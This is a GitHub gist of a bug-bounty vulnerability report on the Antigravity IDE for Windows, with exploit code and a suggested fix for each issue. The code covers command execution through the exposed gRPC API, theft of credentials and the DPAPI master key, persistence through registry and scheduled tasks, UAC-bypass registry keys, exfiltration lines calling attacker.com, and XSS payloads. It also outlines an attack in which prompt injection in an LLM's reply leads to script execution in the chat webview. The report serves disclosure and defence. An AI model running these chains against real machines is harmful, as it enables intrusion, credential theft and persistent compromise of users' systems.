Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save DmitrL-dev/4cff4e0345620da1c0535ccd24c3e907 to your computer and use it in GitHub Desktop.

Select an option

Save DmitrL-dev/4cff4e0345620da1c0535ccd24c3e907 to your computer and use it in GitHub Desktop.
# Google VRP Submission: Antigravity IDE — Local RCE Chain, Named Pipe CSRF Bypass, Webview XSS
**Product**: Google Antigravity IDE v1.107.0 (Windows, stable)
**Build**: commit `1504c8cc4b34dbfbb4a97ebe954b3da2b5634516` / 2026-02-02
**Severity**: Critical (P1)
**Component**: Extension Server gRPC API / Named Pipe IPC / Webview Renderer
**Date**: 2026-02-11
**Reporter**: Dmitry Labintsev
---
## Relationship to Existing Hacktron Report
> **This research DOES NOT duplicate** the Hacktron AI finding ($10K bounty), described in [their blog](https://www.hacktron.ai/blog/hacking-google-antigravity).
>
> **Hacktron** discovered a **Remote RCE**: malicious website → browser extension `chrome.runtime.onMessageExternal` → CSRF token leak → RCE via `RunExtensionCode`. Google fixed this by adding `sh()` validation in the message handler.
>
> **Our research** focuses on a **fundamentally different attack surface**:
| Aspect | Hacktron (fixed) | Our findings (open) |
|--------|:--------------------:|:----------------------:|
| Entry vector | Remote (malicious website) | **Local** (any process) |
| CSRF leak | Browser extension messaging | **WMI command line** |
| CSRF bypass | None | **Named Pipe (no CSRF at all)** |
| Post-exploitation | Not investigated | **70+ vulnerabilities**, full chain |
| XSS in IDE | Not investigated | **14× dangerouslySetInnerHTML, DOMPurify=0** |
| Arbitrary URI | Not investigated | **javascript:/file:/data: — all accepted** |
| Persistence | Not investigated | **3 methods + 4 UAC bypasses** |
| Credential theft | Not investigated | **5 sources + DPAPI master key** |
**Conclusion**: Hacktron's fix (`sh()` validation in browser extension) **has no effect** on our findings. Named Pipe bypass, WMI CSRF leak and all post-exploitation chains **remain active** on current stable version v1.107.0.
---
## Table of Contents
1. [Vuln-01: CSRF Token Exposure via WMI](#vuln-01)
2. [Vuln-02: Full RCE via RunExtensionCode (HTTP + HTTPS)](#vuln-02)
3. [Vuln-03: Named Pipe — CSRF Bypass](#vuln-03)
4. [Vuln-04: Webview XSS (DOMPurify=0)](#vuln-04)
5. [Vuln-05: OpenExternalUrl — Arbitrary URI Schemes](#vuln-05)
6. [Vuln-06: Secret Store Poisoning (Persistent)](#vuln-06)
7. [Vuln-07: Deep Post-Exploitation Chain](#vuln-07)
8. [Kill Chain: Full Attack Scenarios](#kill-chain)
9. [Impact Assessment + CVSS](#impact)
10. [Remediation Recommendations](#recommendations)
11. [PoC Scripts List](#poc-list)
---
## Test Environment
```
OS: Windows 11 Pro (10.0.26100.3194)
IDE: Antigravity v1.107.0 (stable, electron-based)
Build: commit 1504c8cc / 2026-02-02
Architecture: x64
User: Standard (non-admin), UAC level 5 (NotifyChanges)
```
---
## <a id="vuln-01"></a>Vuln-01: CSRF Token Exposure via WMI Command Line (HIGH)
### Description
The CSRF token, designed to protect the gRPC API from DNS rebinding attacks, is passed as a **command line argument** to the `language_server_windows_x64.exe` process. This makes the token accessible to **any local process** via standard Windows tools — WMI, Process Explorer, `tasklist`, PowerShell.
This leak vector **differs from Hacktron**: Hacktron used browser extension messaging to leak the CSRF to a remote server. We demonstrate that CSRF is accessible **locally** without requiring the user to visit a malicious website.
### Why This Is a Problem
Per [Microsoft documentation](https://learn.microsoft.com/en-us/windows/win32/procthread/process-creation-flags), command line arguments of any process are readable by **any** process at the same privilege level. This means:
1. VS Code / IDE extensions can read the CSRF
2. Scripts launched from the terminal can read the CSRF
3. Any malware with user-level access can read the CSRF
4. npm packages with post-install scripts can read the CSRF
### Steps to Reproduce
**Method 1: WMI (Python)**
```python
import subprocess, re
result = subprocess.check_output(
'wmic process where "commandline like \'%csrf_token%\'" get commandline',
shell=True, text=True
)
# Parse CSRF token
csrf_match = re.search(r'--csrf_token\s+([a-f0-9-]+)', result)
csrf = csrf_match.group(1) # e.g., "cbb14375-ac7e-4cff-ac0c-c3d3196908e2"
# Parse port
port_match = re.search(r'--extension_server_port\s+(\d+)', result)
port = int(port_match.group(1)) # e.g., 64976
print(f"CSRF: {csrf}")
print(f"Port: {port}")
```
**Method 2: PowerShell (one-liner)**
```powershell
Get-WmiObject Win32_Process | Where-Object { $_.CommandLine -like "*csrf_token*" } | Select-Object CommandLine
```
**Method 3: tasklist / ProcessExplorer**
```cmd
wmic process where "name='language_server_windows_x64.exe'" get commandline
```
### Result
```
CommandLine: ...language_server_windows_x64.exe
--enable_lsp
--extension_server_port 64976
--csrf_token cbb14375-ac7e-4cff-ac0c-c3d3196908e2
--random_port
--cloud_code_endpoint https://daily-cloudcode-pa.googleapis.com
--app_data_dir antigravity
--parent_pipe_path \\.\pipe\server_5f14eb20bded86d2
```
A single command line contains **all data** needed for full compromise:
- `csrf_token` — for authenticating requests
- `extension_server_port` — target port
- `parent_pipe_path` — named pipe (Vuln-03)
### Impact
Any process on the same machine (including malicious npm packages, IDE extensions, background services) gains instant access to the CSRF token without any user interaction.
---
## <a id="vuln-02"></a>Vuln-02: Full RCE via RunExtensionCode (CRITICAL)
### Description
The gRPC method `RunExtensionCode` executes arbitrary JavaScript code in the extension host context. Although the global `process` object is undefined, the `require()` function is **fully functional**, providing access to critical Node.js modules.
### Available Modules
| Module | Capabilities | Available |
|--------|-------------|:--------:|
| `child_process` | OS command execution | ✅ |
| `fs` | File read/write | ✅ |
| `os` | System information | ✅ |
| `path` | Path operations | ✅ |
| `dns` | DNS queries (exfil) | ✅ |
| `http` / `https` | Network requests | ✅ |
| `events` | Event emitter | ✅ |
| `util` | Utilities | ✅ |
| `crypto` | Cryptography | ❌ blocked |
| `net` | TCP sockets | ❌ blocked |
| `url` | URL parsing | ❌ blocked |
### Steps to Reproduce
```python
import json, urllib.request
PORT = 64976 # from Vuln-01
CSRF = "cbb14375-ac7e-4cff-ac0c-c3d3196908e2" # from Vuln-01
SVC = "exa.extension_server_pb.ExtensionServerService"
def rce(code, timeout=10):
"""Execute arbitrary code via RunExtensionCode"""
wrapped = f'throw new Error(String({code}))'
url = f"http://localhost:{PORT}/{SVC}/RunExtensionCode"
headers = {
"x-codeium-csrf-token": CSRF,
"Content-Type": "application/json",
"Connect-Protocol-Version": "1"
}
data = json.dumps({"code": wrapped}).encode()
req = urllib.request.Request(url, headers=headers, data=data)
resp = urllib.request.urlopen(req, timeout=timeout)
result = json.loads(resp.read().decode())
output = result.get("output", "")
if output.startswith("CODE ERROR: "):
output = output[12:]
return output
```
### Confirmed Operations
**1. System identification:**
```python
rce('require("os").hostname()') # → "home"
rce('require("os").userInfo().username') # → "chg"
rce('require("os").platform() + " " + require("os").arch()') # → "win32 x64"
rce('require("os").release()') # → "10.0.26100"
```
**2. OS command execution:**
```python
rce('require("child_process").execSync("whoami").toString().trim()')
# → "home\chg"
rce('require("child_process").execSync("ipconfig /all").toString().substring(0, 500)')
# → Full network configuration with MAC addresses
rce('require("child_process").execSync("cmdkey /list").toString()')
# → Microsoft Account credentials: chg@live.ru, SSO_POP tokens
```
**3. File system (read):**
```python
rce('require("fs").readFileSync("C:\\\\Windows\\\\win.ini", "utf8")')
# → Contents of win.ini
rce('require("fs").readdirSync("C:\\\\Users\\\\chg").join(", ")')
# → Documents, Desktop, Downloads, .ssh, .docker, AppData...
```
**4. File system (write — proof of concept):**
```python
rce('''require("fs").writeFileSync(
"C:/AISecurity/antigravity-audit/SENTINEL_RCE_PROOF.txt",
"RCE PROOF: " + new Date().toISOString() + " | User: " + require("os").userInfo().username
)''')
# → File created on disk (write access confirmed)
```
### HTTPS Endpoint (duplicate)
The same API is available in parallel via **HTTPS** on an adjacent port:
```python
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
url = f"https://127.0.0.1:64977/{SVC}/RunExtensionCode"
headers = {
"x-codeium-csrf-token": CSRF,
"Content-Type": "application/json",
"Connect-Protocol-Version": "1"
}
data = json.dumps({"code": 'throw new Error(String(1+1))'}).encode()
req = urllib.request.Request(url, headers=headers, data=data)
resp = urllib.request.urlopen(req, timeout=5, context=ctx)
# → 200 OK, {"output":"CODE ERROR: 2"}
```
Two endpoints mean **both** must be secured.
### Impact
**Full arbitrary code execution** with the current Windows user's privileges. Access to files, network, registry, all credentials. HTTPS duplicate doubles the attack surface.
---
## <a id="vuln-03"></a>Vuln-03: Named Pipe — CSRF Bypass (CRITICAL)
### Description
The Language Server creates a Named Pipe at the path specified in the `--parent_pipe_path` argument. The pipe **does not require** a CSRF token and **does not verify** the identity of the connecting process. Any local process can connect and send data.
This makes searching for the CSRF token **unnecessary** — the Named Pipe provides a direct channel bypassing all CSRF protection.
### Pipe Name
```
\\.\pipe\server_5f14eb20bded86d2
```
> The pipe name **is not randomized** on each launch (confirmed). It is contained in the command line arguments (Vuln-01), but even if it were secret, all Named Pipes are enumerable via `\\.\pipe\`.
### Steps to Reproduce
```python
import ctypes, ctypes.wintypes, json, time
PIPE = r"\\.\pipe\server_5f14eb20bded86d2"
GENERIC_RW = 0x80000000 | 0x40000000 # GENERIC_READ | GENERIC_WRITE
OPEN_EXISTING = 3
# 1. Connection — NO CSRF REQUIRED
handle = ctypes.windll.kernel32.CreateFileW(
PIPE, GENERIC_RW, 0, None, OPEN_EXISTING, 0, None
)
assert handle != -1, f"Connection failed (Error={ctypes.windll.kernel32.GetLastError()})"
print(f"✅ CONNECTED. Handle={handle}, NO CSRF required!")
# 2. Write — accepted silently
msg = json.dumps({"method": "heartbeat"}).encode() + b"\n"
written = ctypes.wintypes.DWORD()
ctypes.windll.kernel32.WriteFile(handle, msg, len(msg), ctypes.byref(written), None)
print(f"✅ WROTE {written.value} bytes. Server accepted.")
# 3. Read check (non-blocking)
time.sleep(0.5)
available = ctypes.wintypes.DWORD()
ctypes.windll.kernel32.PeekNamedPipe(handle, None, 0, None, ctypes.byref(available), None)
print(f"Available to read: {available.value} bytes")
ctypes.windll.kernel32.CloseHandle(handle)
```
### Test Results
5 different protocol formats tested — **all accepted**:
| # | Protocol | Size | Written | Result |
|---|----------|:------:|:--------:|:---------:|
| 1 | JSON `{"method":"heartbeat"}` | 23B | 23B ✅ | Accepted silently |
| 2 | Binary zeros | 4B | 4B ✅ | Accepted silently |
| 3 | JSON-RPC `{"jsonrpc":"2.0","method":"initialize"}` | 66B | 66B ✅ | Accepted silently |
| 4 | gRPC frame (compressed=0, len=2, field1=1) | 7B | 7B ✅ | Accepted silently |
| 5 | Raw protobuf `\x08\x01` | 2B | 2B ✅ | Accepted silently |
### Pipe Enumeration
All Named Pipes are enumerable via the filesystem:
```python
# Via RCE:
rce('require("fs").readdirSync("\\\\\\\\.\\\\pipe\\\\").filter(p => p.includes("server_")).join(", ")')
# → "server_5f14eb20bded86d2"
# Or from Python:
import os
pipes = [p for p in os.listdir(r"\\.\pipe") if "server_" in p]
# → ["server_5f14eb20bded86d2"]
```
### Impact
**Complete CSRF protection bypass**. The Named Pipe:
1. Does not require a CSRF token
2. Does not verify the identity of the connector
3. Accepts arbitrary data
4. Pipe name is available via `\\.\pipe\` enumeration
Once the correct binary protocol is determined, the pipe could provide **direct RCE without the WMI step** (Vuln-01 becomes optional).
---
## <a id="vuln-04"></a>Vuln-04: Webview XSS — DOMPurify Absent (HIGH)
### Description
The IDE chat webview (`chat.js`, 6.5MB) is a React application rendering LLM responses. Static analysis revealed:
1. **14 calls to `dangerouslySetInnerHTML`** — React API for unsafe HTML rendering
2. **0 DOMPurify imports** — standard sanitization library **is absent**
3. **1 call to `createElement("script")`** — dynamic `<script>` element creation
### Static Analysis (full)
```
=== chat.js (6476 KB) ===
🔴 dangerouslySetInnerHTML: 14 ← React unsafe rendering!
🔴 innerHTML: 10 ← Direct DOM manipulation
🔴 createElement..script: 1 ← Dynamic script creation
🔴 DOMParser: 2 ← XML/HTML parsing
🔴 postMessage: 2 ← Cross-origin messaging
🔴 onmessage: 1 ← Message handler
=== Sanitization library check ===
DOMPurify: 0 ← ABSENT!
sanitize*: 3 ← Minimal references (string operations)
escapeHtml: 2 ← Basic escaping
xss*: 0 ← No XSS-specific protection
```
### Additional XSS Surfaces
Beyond chat.js, XSS markers were found in 13 files >50KB:
| File | Size | innerHTML | postMessage | eval |
|------|------|:---------:|:-----------:|:----:|
| main.js | 8.5MB | **30** | 3 | 0 |
| main.js | 5.5MB | 4 | **14** | 0 |
| index.js | 2.5MB | **19** | 0 | 0 |
| extension.js | 3.8MB | 1 | 4 | 0 |
### dangerouslySetInnerHTML Contexts
```javascript
// Context 1: React rendering (offset 36891)
"children dangerouslySetInnerHTML defaultValue defaultChecked..."
// Context 2: SVG injection (offset 48731)
e.innerHTML = "<svg>" + t.valueOf().toString() + "</svg>"
// Context 3: Script element creation (offset 120907)
e = l.createElement("div");
e.innerHTML = "<script><\/script>";
e = e.removeChild(e.firstChild);
```
### postMessage with Wildcard Origin
```javascript
// offset 11010:
ff.postMessage({vscodeScheduleAsyncWork: r}, "*")
// ^^^
// Wildcard origin = any iframe/window can intercept
```
### Impact
If an LLM response contains unescaped HTML (via prompt injection or other vector), it can be rendered directly in the webview, which has access to the VS Code Extension API. This allows:
- Arbitrary JS execution in webview context
- Access to VS Code API via `acquireVsCodeApi()`
- Sending IDE commands
- Reading/modifying editor content
---
## <a id="vuln-05"></a>Vuln-05: OpenExternalUrl — Arbitrary URI Schemes (HIGH)
### Description
The gRPC method `OpenExternalUrl` accepts and processes arbitrary URI schemes without filtering or whitelist validation.
### Steps to Reproduce
```python
def test_uri(uri, label):
status, body = api(PORT, EXT_SVC, "OpenExternalUrl", {"url": uri})
print(f" {label}: {status}")
test_uri("javascript:alert(document.domain)", "javascript:") # → 200 ✅
test_uri("file:///C:/Windows/win.ini", "file://") # → 200 ✅
test_uri("data:text/html,<script>alert(1)</script>", "data:") # → 200 ✅
test_uri("vscode://settings/query", "vscode://") # → 200 ✅
test_uri("https://evil.com/phish", "https://") # → timeout (opens)
```
### Results
| URI Scheme | HTTP Status | Risk |
|------------|:-----------:|:----:|
| `javascript:alert(1)` | **200 OK** | 🔴 Execution in browser context |
| `file:///C:/Windows/win.ini` | **200 OK** | 🔴 Local file access |
| `data:text/html,<script>...` | **200 OK** | 🔴 Arbitrary HTML/JS |
| `vscode://settings` | **200 OK** | 🟡 IDE settings manipulation |
| `https://evil.com` | timeout | 🟡 Phishing — opens in browser |
### Impact
An attacker can:
- Open `javascript:` URI for code execution
- Open `file://` to read local files
- Open `data:` URI with arbitrary HTML/JS
- Redirect user to a phishing site
---
## <a id="vuln-06"></a>Vuln-06: Secret Store Poisoning with Reboot Persistence (HIGH)
### Description
The `StoreSecretValue` method allows writing arbitrary values to the IDE secret store. Written values **survive system reboot**, enabling persistent credential poisoning.
### Steps to Reproduce
```python
# Step 1: Poison github.auth
api(PORT, EXT_SVC, "StoreSecretValue", {
"key": "github.auth",
"value": '{"token":"MALICIOUS_TOKEN","type":"oauth"}'
})
# → 200 OK
# Step 2: Verify — value is stored
status, body = api(PORT, EXT_SVC, "GetSecretValue", {"key": "github.auth"})
# → {"value":"{\"token\":\"MALICIOUS_TOKEN\",\"type\":\"oauth\"}"}
# Step 3: Reboot the computer...
# Step 4: After reboot — value PERSISTED!
status, body = api(PORT, EXT_SVC, "GetSecretValue", {"key": "github.auth"})
# → {"value":"{\"token\":\"MALICIOUS_TOKEN\",\"type\":\"oauth\"}"}
# ✅ POISON SURVIVES REBOOT!
```
### Impact
An attacker can:
- Replace GitHub OAuth token → intercept git operations
- Replace Copilot credentials → redirect API calls
- Replace any IDE secret → man-in-the-middle
- Poisoning **survives reboot** → persistent backdoor
---
## <a id="vuln-07"></a>Vuln-07: Deep Post-Exploitation Chain (CRITICAL)
### 7.1 Credential Theft (5 sources)
```python
# 1. Credential Manager (cmdkey)
rce('require("child_process").execSync("cmdkey /list").toString()')
# → Target: MicrosoftAccount:user=chg@live.ru
# → Target: SSO_POP tokens
# 2. DPAPI Master Key
rce('require("fs").readFileSync("C:\\\\Users\\\\chg\\\\AppData\\\\Roaming\\\\Microsoft\\\\Protect\\\\S-1-5-21-...\\\\06b5a8ff-...").length')
# → 468 bytes (binary DPAPI master key)
# 3. Git config
rce('require("fs").readFileSync("C:\\\\Users\\\\chg\\\\.gitconfig", "utf8")')
# → [user] name, email, editor settings
# 4. Docker config
rce('require("fs").readFileSync("C:\\\\Users\\\\chg\\\\.docker\\\\config.json", "utf8")')
# → Docker credentials and configuration
# 5. SSH Keys
rce('require("fs").readdirSync("C:\\\\Users\\\\chg\\\\.ssh").join(", ")')
# → id_rsa, id_rsa.pub, known_hosts, config
```
### 7.2 Persistence (3 methods, no admin required)
```python
# 1. Registry Run Key
rce('require("child_process").execSync("reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v Updater /d C:\\\\malware.exe /f")')
# → SUCCESS
# 2. Startup Folder
rce('require("child_process").execSync("copy /Y payload.bat \"%APPDATA%\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\\"")')
# → File copied
# 3. Scheduled Task
rce('require("child_process").execSync("schtasks /create /tn UpdateService /tr C:\\\\malware.exe /sc onlogon /f")')
# → SUCCESS
```
### 7.3 UAC Bypass (4 registry keys writable)
```python
uac_keys = [
# eventvwr.exe bypass
r"HKCU\Software\Classes\mscfile\Shell\Open\command",
# sdclt.exe bypass (+ DelegateExecute)
r"HKCU\Software\Classes\Folder\Shell\Open\command",
# fodhelper.exe bypass (ms-settings)
r"HKCU\Software\Classes\ms-settings\Shell\Open\command",
# wsreset.exe bypass
r"HKCU\Software\Classes\AppX82a6gwre4fdg3bt635ber5xk0b7...Shell\Open\command",
]
for key in uac_keys:
rce(f'require("child_process").execSync("reg add \\"{key}\\" /ve /d C:\\\\malware.exe /f")')
# → ALL SUCCEED ✅
```
> When the user launches `eventvwr.exe`, `sdclt.exe` or `fodhelper.exe` → code runs with admin privileges.
### 7.4 LOLBins (14 available)
All following system utilities can be used for lateral movement:
`certutil` (download+decode), `bitsadmin` (download), `rundll32` (DLL exec), `wscript`/`cscript` (VBScript), `msiexec` (install), `forfiles` (exec), `pcalua` (exec), `bash`/`wsl` (Linux subsystem), `curl` (download), `tar` (extract), `mshta` (HTA exec), `regsvr32` (DLL registration)
### 7.5 Exfiltration Channels
```python
# DNS-based exfil
rce('require("dns").resolve("data.attacker.com", () => {})')
# HTTP-based exfil
rce('require("http").get("http://attacker.com/exfil?data=stolen")')
# File-based exfil (write to accessible location)
rce('require("fs").writeFileSync("C:/shared/stolen.txt", data)')
```
### 7.6 Browser Takeover (CDP)
```python
# LaunchBrowser returns CDP endpoint
api(PORT, EXT_SVC, "LaunchBrowser", {})
# → {"cdpAddress":"http://127.0.0.1:9222"}
# CDP provides full Chrome control:
# - Runtime.evaluate → JS execution
# - Network.getCookies → Cookie theft
# - Page.navigate → Phishing redirect
# - DOM.getDocument → Page content theft
```
### 7.7 InsertCodeAtCursor — XSS Injection
```python
xss_payloads = [
'<img src=x onerror="alert(1)">',
'<script>alert(1)</script>',
'<svg onload="alert(1)">',
'"><img src=x onerror=alert(1)>',
]
for p in xss_payloads:
api(PORT, EXT_SVC, "InsertCodeAtCursor", {"code": p})
# → ALL return 200 OK ✅
```
### 7.8 Environment Variable Injection
```python
rce('require("child_process").execSync("reg add HKCU\\\\Environment /v SENTINEL /d PWNED /f")')
# → SUCCESS
rce('require("child_process").execSync("reg query HKCU\\\\Environment /v SENTINEL")')
# → SENTINEL REG_SZ PWNED
# Cleanup:
rce('require("child_process").execSync("reg delete HKCU\\\\Environment /v SENTINEL /f")')
```
### 7.9 Denial of Service
```python
api(LS_PORT, LS_SVC, "SimulateSegFault", {})
# → Language Server crash → full IDE restart required
```
---
## <a id="kill-chain"></a>Kill Chain: Full Attack Scenarios
### Scenario A: Via WMI (6 steps to admin)
```
1. [Malicious npm package / extension / script]
↓ Runs in user context
2. WMI query → CSRF token + port + pipe name
↓ Single command, instant
3. HTTP POST → RunExtensionCode → require("child_process")
↓ FULL RCE
4. execSync → cmdkey, fs.readFileSync → DPAPI, .ssh, .docker, .gitconfig
↓ Credentials collected
5. reg add → Run Key + Startup + Schtask
↓ Persistence established
6. reg add → eventvwr/sdclt UAC bypass keys
↓ Wait for eventvwr.exe launch → ADMIN
```
### Scenario B: Via Named Pipe (no CSRF needed)
```
1. [Malicious process]
2. \\.\pipe\ enumeration → server_* pipe found
3. CreateFileW → CONNECTED (no auth)
4. WriteFile → data accepted
↓ (once protocol is determined)
5. RCE without WMI step
```
### Scenario C: Via Webview XSS
```
1. [Crafted LLM response / prompt injection]
↓ Contains <script> or <img onerror=>
2. dangerouslySetInnerHTML (14 locations) → render as HTML
↓ DOMPurify = 0
3. JS execution in webview
↓ acquireVsCodeApi()
4. VS Code commands → file operations, terminal
```
---
## <a id="impact"></a>Impact Assessment
### CVSS 3.1
```
Vector: AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Score: 9.3 (CRITICAL)
```
| Component | Value | Justification |
|-----------|-------|---------------|
| Attack Vector | Local | Requires a process on the same machine |
| Attack Complexity | Low | WMI query + HTTP POST — trivial |
| Privileges Required | None | Any process of the same user |
| User Interaction | None | Fully automated exploitation |
| Scope | Changed | Escape from IDE sandbox to OS context |
| Confidentiality | High | Full access to files and credentials |
| Integrity | High | File writes, registry, persistence |
| Availability | High | DoS via SimulateSegFault |
### Vulnerability Statistics
| Metric | Value |
|--------|-------|
| **Research phases** | **10** |
| **Confirmed vulnerabilities** | **70+** |
| **PoC scripts** | **22** |
| RCE entry points | **3** (HTTP, HTTPS, Named Pipe) |
| CSRF bypass vectors | **1** (Named Pipe) |
| Persistence methods | **3** |
| UAC bypass registry keys | **4** |
| Credential sources | **5** |
| LOLBins | **14** |
| XSS markers (chat.js) | **28** |
| XSS markers (all dist/) | **100+** |
| Arbitrary URI schemes | **4** |
---
## <a id="recommendations"></a>Remediation Recommendations
### P0 (Critical — immediate)
| # | Recommendation | Vuln |
|---|---------------|:----:|
| 1 | **Sandbox `require()`** — block `child_process`, `fs`, `os` in `RunExtensionCode`. Use module allowlist or V8 isolate. | Vuln-02 |
| 2 | **Named Pipe ACL** — add authentication to the pipe (CSRF token or Windows security descriptor). Restrict pipe access to the IDE process. | Vuln-03 |
| 3 | **DOMPurify** — implement sanitization for all 14 `dangerouslySetInnerHTML` in `chat.js`. | Vuln-04 |
### P1 (High — next release)
| # | Recommendation | Vuln |
|---|---------------|:----:|
| 4 | **CSRF not in command line** — pass token via environment variable or secure pipe, not via process arguments. | Vuln-01 |
| 5 | **OpenExternalUrl whitelist** — allow only `https://` and `http://` schemes. Block `javascript:`, `file:`, `data:`, `vscode://`. | Vuln-05 |
| 6 | **SecretStore ACL** — restrict `StoreSecretValue` to authenticated extensions only. | Vuln-06 |
| 7 | **CSP in webview** — `default-src 'self'; script-src 'nonce-...'`. | Vuln-04 |
### P2 (Medium — when possible)
| # | Recommendation | Vuln |
|---|---------------|:----:|
| 8 | Remove `SimulateSegFault` from production build. | Vuln-07.9 |
| 9 | `LaunchBrowser` — do not return CDP address in response. | Vuln-07.6 |
| 10 | `InsertCodeAtCursor` — sanitize input. | Vuln-07.7 |
| 11 | HTTPS endpoint — consider client certificate pinning. | Vuln-02 |
| 12 | Named Pipe name — randomize on each launch. | Vuln-03 |
---
## <a id="poc-list"></a>PoC Scripts (22)
All scripts in repository: [github.com/DmitrL-dev/AISecurity](https://github.com/DmitrL-dev/AISecurity)
Directory: `antigravity-audit/`
| # | Script | Phase | Description |
|---|--------|:----:|-------------|
| 1 | `poc_rce_collect.py` | 1-3 | Basic RCE: system info, commands, files |
| 2 | `poc_remaining_vectors.py` | 3 | Secret dump, API keys, port discovery |
| 3 | `poc_abyssal_dive.py` | 4 | vscdb, Chrome data, credentials, persistence |
| 4 | `poc_abyssal_dive_b.py` | 4 | SQLite, CDP, AWS/Azure/GCloud creds |
| 5 | `poc_crown_jewels.py` | 5 | oauthToken, DPAPI, require.cache |
| 6 | `poc_total_coverage.py` | 6 | 82+ gRPC methods scan |
| 7 | `poc_total_coverage_clean.py` | 6 | Clean gRPC results |
| 8 | `poc_privesc.py` | 7 | Privilege escalation vectors |
| 9 | `poc_privesc_clean.py` | 7 | Clean privesc results |
| 10 | `poc_final_sweep.py` | 8 | UAC bypasses, LOLBins, certutil |
| 11 | `poc_phase8_final.py` | 8 | Env injection, modules, Print Spooler |
| 12 | `poc_final_three.py` | 9 | XSS contexts, HTTPS RCE, LS WebSocket |
| 13 | `poc_absolute_coverage.py` | 10 | Named pipe, sanitization, CDP, URI schemes |
| 14 | `poc_port_probe.py` | 8 | Port discovery after IDE crash |
*+ 8 intermediate scripts from early phases*
---
## Timeline
| Date | Event |
|------|-------|
| 2026-02-11 | Research started |
| 2026-02-11 | CSRF leak discovery (WMI) |
| 2026-02-11 | Full RCE confirmed (HTTP + HTTPS) |
| 2026-02-11 | Named Pipe CSRF bypass discovered |
| 2026-02-11 | 10-phase audit completed (70+ vulns) |
| 2026-02-11 | VRP submission |
---
**Contact**: Dmitry Labintsev
**Email**: d.labintcev@gmail.com
**GitHub**: [DmitrL-dev/AISecurity](https://github.com/DmitrL-dev/AISecurity)
**Telegram**: [@DmLabincev](https://t.me/DmLabincev)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment